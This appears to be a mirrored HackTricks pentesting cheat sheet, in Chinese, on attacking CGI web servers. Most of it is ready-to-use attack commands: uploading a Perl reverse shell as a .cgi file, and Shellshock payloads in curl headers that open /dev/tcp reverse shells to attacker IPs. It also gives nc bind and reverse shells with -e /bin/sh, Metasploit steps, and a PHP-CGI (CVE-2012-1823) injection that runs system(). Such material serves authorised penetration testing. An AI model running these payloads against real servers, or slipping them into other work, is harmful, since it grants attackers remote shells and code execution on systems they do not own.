mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
72 lines
4.5 KiB
Markdown
72 lines
4.5 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
# 信息
|
||
|
||
**CGI 脚本是 perl 脚本**,因此,如果您已经攻陷了一个可以执行 _**.cgi**_ 脚本的服务器,您可以 **上传一个 perl 反向 shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\),**将扩展名**从 **.pl** 更改为 **.cgi**,给予 **执行权限** \(`chmod +x`\),并 **通过网页浏览器访问** 反向 shell 以执行它。
|
||
为了测试 **CGI 漏洞**,建议使用 `nikto -C all` \(以及所有插件\)
|
||
|
||
# **ShellShock**
|
||
|
||
**ShellShock** 是一个影响广泛使用的 **Bash** 命令行 shell 的 **漏洞**,该 shell 运行在基于 Unix 的操作系统中。它针对 Bash 运行应用程序传递的命令的能力。漏洞在于对 **环境变量** 的操控,这些变量是动态命名的值,影响计算机上进程的运行方式。攻击者可以通过将 **恶意代码** 附加到环境变量来利用这一点,该代码在接收到变量时执行。这使得攻击者有可能攻陷系统。
|
||
|
||
利用此漏洞,**页面可能会抛出错误**。
|
||
|
||
您可以通过注意到它使用 **旧版 Apache** 和 **cgi_mod** \(带有 cgi 文件夹\) 或使用 **nikto** 来 **发现** 此漏洞。
|
||
|
||
## **测试**
|
||
|
||
大多数测试基于回显某些内容,并期望该字符串在网页响应中返回。如果您认为某个页面可能存在漏洞,请搜索所有 cgi 页面并进行测试。
|
||
|
||
**Nmap**
|
||
```bash
|
||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||
```
|
||
## **Curl \(反射、盲注和带外\)**
|
||
```bash
|
||
# Reflected
|
||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
|
||
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
|
||
# Out-Of-Band Use Cookie as alternative to User-Agent
|
||
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
|
||
```
|
||
[**Shellsocker**](https://github.com/liamim/shellshocker)
|
||
```bash
|
||
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||
```
|
||
## 利用
|
||
```bash
|
||
#Bind Shell
|
||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||
#Reverse shell
|
||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
|
||
#Reverse shell using curl
|
||
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
|
||
#Reverse shell using metasploit
|
||
> use multi/http/apache_mod_cgi_bash_env_exec
|
||
> set targeturi /cgi-bin/admin.cgi
|
||
> set rhosts 10.1.2.11
|
||
> run
|
||
```
|
||
# **代理 \(MitM 到 Web 服务器请求\)**
|
||
|
||
CGI 为 http 请求中的每个头创建一个环境变量。例如:“host:web.com” 被创建为 “HTTP_HOST”="web.com"
|
||
|
||
由于 HTTP_PROXY 变量可能被 web 服务器使用。尝试发送一个 **头** 包含:“**Proxy: <IP_attacker>:<PORT>**”,如果服务器在会话期间执行任何请求,您将能够捕获服务器发出的每个请求。
|
||
|
||
# 旧 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||
|
||
基本上,如果 cgi 是活动的并且 php 是“旧的” \(<5.3.12 / < 5.4.2\),您可以执行代码。
|
||
为了利用此漏洞,您需要访问 web 服务器的某个 PHP 文件而不发送参数 \(特别是没有发送字符“=”\)。
|
||
然后,为了测试此漏洞,您可以访问例如 `/index.php?-s` \(注意 `-s`\),**应用程序的源代码将出现在响应中**。
|
||
|
||
然后,为了获得 **RCE**,您可以发送这个特殊查询:`/?-d allow_url_include=1 -d auto_prepend_file=php://input` 和 **要在请求的主体中执行的 PHP 代码。
|
||
示例:**
|
||
```bash
|
||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||
```
|
||
**关于漏洞和可能的利用的更多信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF 写作示例**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|